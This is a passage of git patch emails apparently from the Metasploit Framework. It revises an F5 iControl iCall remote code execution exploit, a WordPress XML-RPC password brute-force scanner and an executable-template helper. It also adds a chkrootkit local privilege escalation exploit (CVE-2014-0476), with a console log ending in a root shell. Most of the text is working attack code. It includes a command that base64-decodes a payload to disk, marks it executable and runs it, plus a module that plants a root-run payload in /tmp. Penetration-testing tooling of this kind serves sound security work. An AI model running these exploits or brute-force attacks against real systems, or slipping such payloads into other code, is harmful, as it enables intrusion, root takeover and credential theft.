xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> - <soapenv:Header/> - <soapenv:Body> - <scr:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> - <scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> - <item>#{scriptname}</item></scripts> - <definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> - <item>#{cmd}</item></definitions> - </scr:create> - </soapenv:Body> -</soapenv:Envelope> - } - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + def send_soap_request(pay) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'data' => pay, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }) if res and res.code == 200 - return scriptname + return res else if res and res.code == 401 - print_error('401 Unauthorized') + print_error('401 Unauthorized - Check credentials') + else + print_error("#{res.code} - Unknown error") end return false end end + # cmd is valid tcl script + def create_script(cmd) + scriptname = Rex::Text.rand_text_alpha_lower(5) + xml = Nokogiri::XML::Builder.new do |xml| + xml.Envelope do + xml = xml_add_namespaces(xml) + xml['soapenv'].Header + xml['soapenv'].Body do + xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do + xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item scriptname + end + xml.definitions('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item cmd + end + end + end + end + end + pay = xml.to_xml + if send_soap_request(pay) + return scriptname + else + return false + end + end + def delete_script(scriptname) - pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" - xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> - <soapenv:Header/> - <soapenv:Body> - <scr:delete_script soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> - <scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> -<item>#{scriptname}</item> -</scripts> - </scr:delete_script> - </soapenv:Body> -</soapenv:Envelope> - } - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), - 'method' => 'POST', - 'data' => pay, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - }) - - if res and res.code == 200 - return true - else - if res and res.code == 401 - print_error('401 Unauthorized') + xml = Nokogiri::XML::Builder.new do |xml| + xml.Envelope do + xml = xml_add_namespaces(xml) + xml['soapenv'].Header + xml['soapenv'].Body do + xml['scr'].delete_script("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do + xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item scriptname + end + end + end end - return false end + pay = xml.to_xml + return send_soap_request(pay) end def script_exists(scriptname) - pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" - xmlns:scr="urn:iControl:iCall/Script"> - <soapenv:Header/> - <soapenv:Body> - <scr:get_list soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> - </soapenv:Body> -</soapenv:Envelope> - } - - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), - 'method' => 'POST', - 'data' => pay, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - }) + xml = Nokogiri::XML::Builder.new do |xml| + xml.Envelope do + xml = xml_add_namespaces(xml) + xml['soapenv'].Header + xml['soapenv'].Body do + xml['scr'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") + end + end + end + pay = xml.to_xml + res = send_soap_request(pay) if res and res.code == 200 and res.body =~ /\/Common\/#{scriptname}/ return true else - if res and res.code == 401 - print_error('401 Unauthorized') - end return false end end def create_handler(scriptname, interval) handler_name = Rex::Text.rand_text_alpha_lower(5) - pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" - xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> - <soapenv:Header/> - <soapenv:Body> - <per:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> - <handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> -<item>#{handler_name}</item> -</handlers> - <scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> -<item>/Common/#{scriptname}</item> -</scripts> - <intervals xsi:type="urn:Common.ULongSequence" soapenc:arrayType="xsd:long[]" xmlns:urn="urn:iControl"> -<item>#{interval}</item> -</intervals> - </per:create> - </soapenv:Body> -</soapenv:Envelope> -} - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), - 'method' => 'POST', - 'data' => pay, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - }) - if res and res.code == 200 + xml = Nokogiri::XML::Builder.new do |xml| + xml.Envelope do + xml = xml_add_namespaces(xml) + xml['soapenv'].Header + xml['soapenv'].Body do + xml['per'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do + xml.handlers('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item handler_name + end + xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item scriptname + end + xml.intervals('xsi:type'=>'urn:Common.ULongSequence', 'soapenc:arrayType'=>'xsd:long[]', 'xmlns:urn'=>'urn:iControl') do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item interval + end + end + end + end + end + pay = xml.to_xml + if send_soap_request(pay) return handler_name else - if res and res.code == 401 - print_error('401 Unauthorized') - end return false end end def delete_handler(handler_name) - pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" - xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> - <soapenv:Header/> - <soapenv:Body> - <per:delete_handler soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> - <handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> -<item>#{handler_name}</item> -</handlers> - </per:delete_handler> - </soapenv:Body> -</soapenv:Envelope> - } - - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), - 'method' => 'POST', - 'data' => pay, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - }) - if res and res.code == 200 - return true - else - if res and res.code == 401 - print_error('401 Unauthorized') + xml = Nokogiri::XML::Builder.new do |xml| + xml.Envelope do + xml = xml_add_namespaces(xml) + xml['soapenv'].Header + xml['soapenv'].Body do + xml['per'].delete_handler("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do + xml.handlers('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item handler_name + end + end + end end - return false end + pay = xml.to_xml + + return send_soap_request(pay) end def handler_exists(handler_name) - pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" - xmlns:per="urn:iControl:iCall/PeriodicHandler"> - <soapenv:Header/> - <soapenv:Body> - <per:get_list soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> - </soapenv:Body> -</soapenv:Envelope> -} - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), - 'method' => 'POST', - 'data' => pay, - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - }) + xml = Nokogiri::XML::Builder.new do |xml| + xml.Envelope do + xml = xml_add_namespaces(xml) + xml['soapenv'].Header + xml['soapenv'].Body do + xml['per'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") + end + end + end + pay = xml.to_xml + res = send_soap_request(pay) if res and res.code == 200 and res.body =~ /\/Common\/#{handler_name}/ return true else - if res and res.code == 401 - print_error('401 Unauthorized') - end return false end end @@ -249,22 +234,27 @@ class Metasploit3 < Msf::Exploit::Remote # XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'. # if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable # any other response is considered not vulnerable - pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" - xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> - <soapenv:Header/> - <soapenv:Body> - <scr:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> - <scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> - <item></item></scripts> - <definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"> - <item></item></definitions> - </scr:create> - </soapenv:Body> -</soapenv:Envelope> - } + xml = Nokogiri::XML::Builder.new do |xml| + xml.Envelope do + xml = xml_add_namespaces(xml) + xml['soapenv'].Header + xml['soapenv'].Body do + xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do + xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item "" + end + xml.definitions('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do + xml.parent.namespace = xml.parent.parent.namespace_definitions.first + xml.item "" + end + end + end + end + end + pay = xml.to_xml res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'data' => pay, 'username' => datastore['USERNAME'], @@ -283,15 +273,23 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # phase 1: create iCall script to create file with payload, execute it and remove it. - filepath = '/tmp/' - filename = Rex::Text.rand_text_alpha_lower(5) - dest_file = filepath + filename + filepath = datastore['PATH'] + filename = datastore['FILENAME'] + dest_file = filepath + '/' + filename + #register_file_for_cleanup dest_file + + shell_cmd = %Q@echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{dest_file}; chmod +x #{dest_file};#{dest_file};rm -f #{dest_file}@ + cmd = %Q@if { ! [file exists #{dest_file}]} { exec /bin/sh -c "#{shell_cmd}"}@ + + arg_max = datastore['ARG_MAX'] + if shell_cmd.size > arg_max + print_error "Payload #{datastore['PAYLOAD']} is too big, try a different payload or increasing ARG_MAX (note that payloads bigger than the target's configured ARG_MAX value may fail to execute)" + return false + end + scriptname = Rex::Text.rand_text_alpha_lower(5) print_status('Uploading payload...') - cmd = %Q@if { ! [file exists #{dest_file}]} { exec /bin/sh -c "echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{dest_file};@ + - %Q@chmod +x #{dest_file};#{dest_file};rm #{dest_file} "}@ - script = create_script(cmd) unless script print_error("Upload script failed") @@ -299,14 +297,16 @@ class Metasploit3 < Msf::Exploit::Remote end unless script_exists(script) print_error("create_script() run successfully but script was not found") + return false end - interval = 5 + interval = datastore['INTERVAL'] # phase 2: create iCall Handler, that will actually run the previously created script print_status('Creating trigger...') handler = create_handler(script, interval) unless handler print_error('Script uploaded but create_handler() failed') + return false end print_status('Wait until payload is executed...') From 881b12f0ab1b3f8a92765c205ca195495caf6144 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Thu, 12 Nov 2015 18:16:39 +0300 Subject: [PATCH 1185/2172] Fix rebease conflic --- .../wordpress_xmlrpc_massive_bruteforce.rb | 80 +++++++++---------- 1 file changed, 40 insertions(+), 40 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index bea0de1071..067cce048a 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -16,26 +16,26 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, 'License' => MSF_LICENSE, 'Author' => - [ - 'Sabri (@KINGSABRI)', # Module Writer - 'William (WCoppola@Lares.com)' # Module Requester - ], + [ + 'Sabri (@KINGSABRI)', # Module Writer + 'William (WCoppola@Lares.com)' # Module Requester + ], 'References' => - [ - ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], - ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] - ] + [ + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] + ] )) register_options( - [ - OptString.new('TARGETURI', [true, 'The base path', '/']), - OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), - OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), - OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) - ], self.class) + [ + OptString.new('TARGETURI', [true, 'The base path', '/']), + OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), + OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), + OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) + ], self.class) end def usernames @@ -60,31 +60,31 @@ class Metasploit3 < Msf::Auxiliary xml.methodCall { xml.methodName("system.multicall") xml.params { - xml.param { - xml.value { - xml.array { - xml.data { + xml.param { + xml.value { + xml.array { + xml.data { - pass_group.each do |pass| - xml.value { - xml.struct { - xml.member { - xml.name("methodName") - xml.value { xml.string("wp.getUsersBlogs") }} - xml.member { - xml.name("params") - xml.value { - xml.array { - xml.data { - xml.value { - xml.array { - xml.data { - xml.value { xml.string(user) } - xml.value { xml.string(pass) } - }}}}}}}}} - end + pass_group.each do |pass| + xml.value { + xml.struct { + xml.member { + xml.name("methodName") + xml.value { xml.string("wp.getUsersBlogs") }} + xml.member { + xml.name("params") + xml.value { + xml.array { + xml.data { + xml.value { + xml.array { + xml.data { + xml.value { xml.string(user) } + xml.value { xml.string(pass) } + }}}}}}}}} + end - }}}}}} + }}}}}} end xml_payloads << document.to_xml @@ -174,5 +174,5 @@ class Metasploit3 < Msf::Auxiliary sleep 2 end - end end end + end end end end From 732563614b5044048d69db6a9e2e22b03ffa556a Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Thu, 12 Nov 2015 20:26:17 +0300 Subject: [PATCH 1186/2172] Change connecting method to send for better code naming --- .../wordpress_xmlrpc_massive_bruteforce.rb | 88 +++++++++---------- 1 file changed, 44 insertions(+), 44 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index 067cce048a..f4e4c31458 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -16,26 +16,26 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, 'License' => MSF_LICENSE, 'Author' => - [ - 'Sabri (@KINGSABRI)', # Module Writer - 'William (WCoppola@Lares.com)' # Module Requester - ], + [ + 'Sabri (@KINGSABRI)', # Module Writer + 'William (WCoppola@Lares.com)' # Module Requester + ], 'References' => - [ - ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], - ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] - ] + [ + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] + ] )) register_options( - [ - OptString.new('TARGETURI', [true, 'The base path', '/']), - OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), - OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), - OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) - ], self.class) + [ + OptString.new('TARGETURI', [true, 'The base path', '/']), + OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), + OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), + OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) + ], self.class) end def usernames @@ -60,31 +60,31 @@ class Metasploit3 < Msf::Auxiliary xml.methodCall { xml.methodName("system.multicall") xml.params { - xml.param { - xml.value { - xml.array { - xml.data { + xml.param { + xml.value { + xml.array { + xml.data { - pass_group.each do |pass| - xml.value { - xml.struct { - xml.member { - xml.name("methodName") - xml.value { xml.string("wp.getUsersBlogs") }} - xml.member { - xml.name("params") - xml.value { - xml.array { - xml.data { - xml.value { - xml.array { - xml.data { - xml.value { xml.string(user) } - xml.value { xml.string(pass) } - }}}}}}}}} - end + pass_group.each do |pass| + xml.value { + xml.struct { + xml.member { + xml.name("methodName") + xml.value { xml.string("wp.getUsersBlogs") }} + xml.member { + xml.name("params") + xml.value { + xml.array { + xml.data { + xml.value { + xml.array { + xml.data { + xml.value { xml.string(user) } + xml.value { xml.string(pass) } + }}}}}}}}} + end - }}}}}} + }}}}}} end xml_payloads << document.to_xml @@ -116,8 +116,8 @@ class Metasploit3 < Msf::Auxiliary # # Connection Setup # - def connecting(xml) - uri = target_uri.path + def send(xml) + uri = target_uri.path opts = { 'method' => 'POST', @@ -148,7 +148,7 @@ class Metasploit3 < Msf::Auxiliary generate_xml(user).each do |xml| next if passfound == true - connecting(xml) + send(xml) # Request Parser req_xml = Nokogiri::Slop xml @@ -174,5 +174,5 @@ class Metasploit3 < Msf::Auxiliary sleep 2 end - end end end -end + end end end +end \ No newline at end of file From 3566b978c3f2e46e3047df251a3a32c4485e4ba3 Mon Sep 17 00:00:00 2001 From: jvoisin <julien.voisin@dustri.org> Date: Fri, 6 Nov 2015 20:50:29 +0100 Subject: [PATCH 1187/2172] Add a module for a chkrootkit-powered privsec This modules implements an exploit for CVE-2014-0476, to gain root thanks to chkrootkit. Its main issues is that you need to wait until chkrootkit is executed in a crontab (or manually), which can take 24h top with its default setup. How to reproduce: 1. Install a version < 0.50 of chkrootkit 2. Launch the local module 3. Wait until chkrootkit's crontab kicks in 4. You've got a root shell ``` msf > use exploit/linux/local/chkrootkit msf exploit(chkrootkit) > check [*] 192.168.1.25 - The target appears to be vulnerable. msf exploit(chkrootkit) > run [*] Exploit completed, but no session was created. [*] Started reverse handler on 192.168.1.11:9999 msf exploit(chkrootkit) > [+] Target is vulnerable. [!] Rooting depends of the crontab, this could take a while. [*] Payload written to /tmp/update [*] Waiting to chkrookit to be run be a cron tab... [*] Command shell session 6 opened (192.168.1.11:9999 -> 192.168.1.25:40006) at 2015-11-06 20:53:00 +0100 [+] Deleted /tmp/update msf exploit(chkrootkit) > sessions -i 6 [*] Starting interaction with 6... id uid=0(root) gid=0(root) groups=0(root) ``` --- modules/exploits/linux/local/chkrootkit.rb | 78 ++++++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 modules/exploits/linux/local/chkrootkit.rb diff --git a/modules/exploits/linux/local/chkrootkit.rb b/modules/exploits/linux/local/chkrootkit.rb new file mode 100644 index 0000000000..9354bddda0 --- /dev/null +++ b/modules/exploits/linux/local/chkrootkit.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class Metasploit4 < Msf::Exploit::Local + # This could also be excellent, but since it requires + # up to one day to pop a shell, lets set it to Manual instead. + Rank = ManualRanking + + include Msf::Post::File + include Msf::Exploit::FileDropper + + include Msf::Exploit::Local::Linux + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Chkrootkit 0.49 Local Privilege Escalation', + 'Description' => %q{ + Chkrootkit before 0.50 will run as root any executable file named + /tmp/updater, allowing a trivial privsec. + + WfsDelay is set to 24h by default, since this is how often a chkrootkit + scan is scheduled by default. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Thomas Stangner', # original exploit + 'Julien (jvoisin) Voisin' # metasploit module + ], + 'Platform' => %w{ bsd linux unix solaris osx}, + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'References' => + [ + [ 'BID', '67813' ], + [ 'CVE', '2014-0476' ], + [ 'CWE', '20' ], + [ 'EDB', '33899' ], + [ 'OSVDB', '107710' ], + [ 'URL', 'http://seclists.org/oss-sec/2014/q2/430' ], + ], + 'DisclosureDate' => "Jun 28 2014", + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'WfsDelay' => 60*3600*24 }, + 'Privileged' => true, + 'Targets' => + [ + [ 'Generic', {} ], + ], + 'Stance' => Msf::Exploit::Stance::Passive, + 'DefaultTarget' => 0,})) + end + + def check + res = cmd_exec('/usr/sbin/chkrootkit -V') + return Exploit::CheckCode::Appears if res && res =~ /chkrootkit version 0\.[^5]/ + return Exploit::CheckCode::Safe + end + + def exploit + if check == Exploit::CheckCode::Safe + fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + else + print_good("Target is vulnerable.") + end + + print_warning('Rooting depends of the crontab, this could take a while.') + + write_file("/tmp/update", "#!/bin/sh\n#{payload.encoded}\n") + cmd_exec("chmod +x /tmp/update") + + print_status 'Payload written to /tmp/update' + print_status 'Waiting to chkrookit to be run be a cron tab...' + + register_file_for_cleanup('/tmp/update') + end +end + From ab71d943928f57ede1ecdfaf6dab419b0e402737 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Thu, 12 Nov 2015 23:02:48 +0300 Subject: [PATCH 1188/2172] Make CHUNKSIZE user configurable. Thanks @jhart-r7 --- .../scanner/http/wordpress_xmlrpc_massive_bruteforce.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index f4e4c31458..6e90483ad4 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -34,7 +34,8 @@ class Metasploit3 < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), - OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) + OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]), + OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500]) ], self.class) end @@ -53,8 +54,8 @@ class Metasploit3 < Msf::Auxiliary vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs - # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation - passwords.each_slice(1500) do |pass_group| + # Evil XML | Limit number of log-ins to CHUNKSIZE/request due Wordpress limitation which is 1700 maximum. + passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group| document = Nokogiri::XML::Builder.new do |xml| xml.methodCall { @@ -175,4 +176,4 @@ class Metasploit3 < Msf::Auxiliary end end end end -end \ No newline at end of file +end From 199ed9ed2568e8e2df0b4ed422b0951d886a5928 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 12 Nov 2015 14:36:01 -0600 Subject: [PATCH 1189/2172] Move vbulletin_unserialize.rb to exploits/multi/http/ According to @all3g, this works on Windows too, so we will move this to multi/http. --- .../exploits/{unix/webapp => multi/http}/vbulletin_unserialize.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/{unix/webapp => multi/http}/vbulletin_unserialize.rb (100%) diff --git a/modules/exploits/unix/webapp/vbulletin_unserialize.rb b/modules/exploits/multi/http/vbulletin_unserialize.rb similarity index 100% rename from modules/exploits/unix/webapp/vbulletin_unserialize.rb rename to modules/exploits/multi/http/vbulletin_unserialize.rb From 6077617bfdc296ede1d9915b34e2ae91c988a00e Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 12 Nov 2015 14:37:47 -0600 Subject: [PATCH 1190/2172] rm res var name the res variable isn't used --- modules/exploits/multi/http/vbulletin_unserialize.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/vbulletin_unserialize.rb b/modules/exploits/multi/http/vbulletin_unserialize.rb index cbd0c71354..1238434ece 100644 --- a/modules/exploits/multi/http/vbulletin_unserialize.rb +++ b/modules/exploits/multi/http/vbulletin_unserialize.rb @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote chain = Rex::Text.uri_encode(chain) chain = chain.gsub(/%2a/, '%00%2a%00') # php and Rex disagree on '*' encoding - res = send_request_cgi({ + send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'), 'vars_get' => { From aaea730508c843976fa374171ed508a18ba6a617 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 12 Nov 2015 15:07:58 -0600 Subject: [PATCH 1191/2172] Fix #6213 - Method to_linux_x86_elf fails to set set :template :template by default is just the base name of the file, not the fullname. Before we use it, we need to normalize it. Methods in this class rely on set_template_default for normalization ( which can also handle a custom path), so we'll just use that too. Fix #6213 --- lib/msf/util/exe.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 5df5ba5098..3c738261d1 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -992,6 +992,11 @@ require 'msf/core/exe/segment_appender' if default elf = to_exe_elf(framework, opts, "template_x86_linux.bin", code) else + # Use set_template_default to normalize the :template key. It will just end up doing + # opts[:template] = File.join(opts[:template_path], opts[:template]) + # for us, check if the file exists. + set_template_default(opts) + # If this isn't our normal template, we have to do some fancy # header patching to mark the .text section rwx before putting our # payload into the entry point. From 0e121df69d740701405ebb5ec95501de72049740 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 12 Nov 2015 15:17:03 -0600 Subject: [PATCH 1192/2172] Need a default template The set_template_default actually needs the second argument, otherwise we hit a RuntimeError. --- lib/msf/util/exe.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 3c738261d1..4963d9f2ae 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -995,7 +995,7 @@ require 'msf/core/exe/segment_appender' # Use set_template_default to normalize the :template key. It will just end up doing # 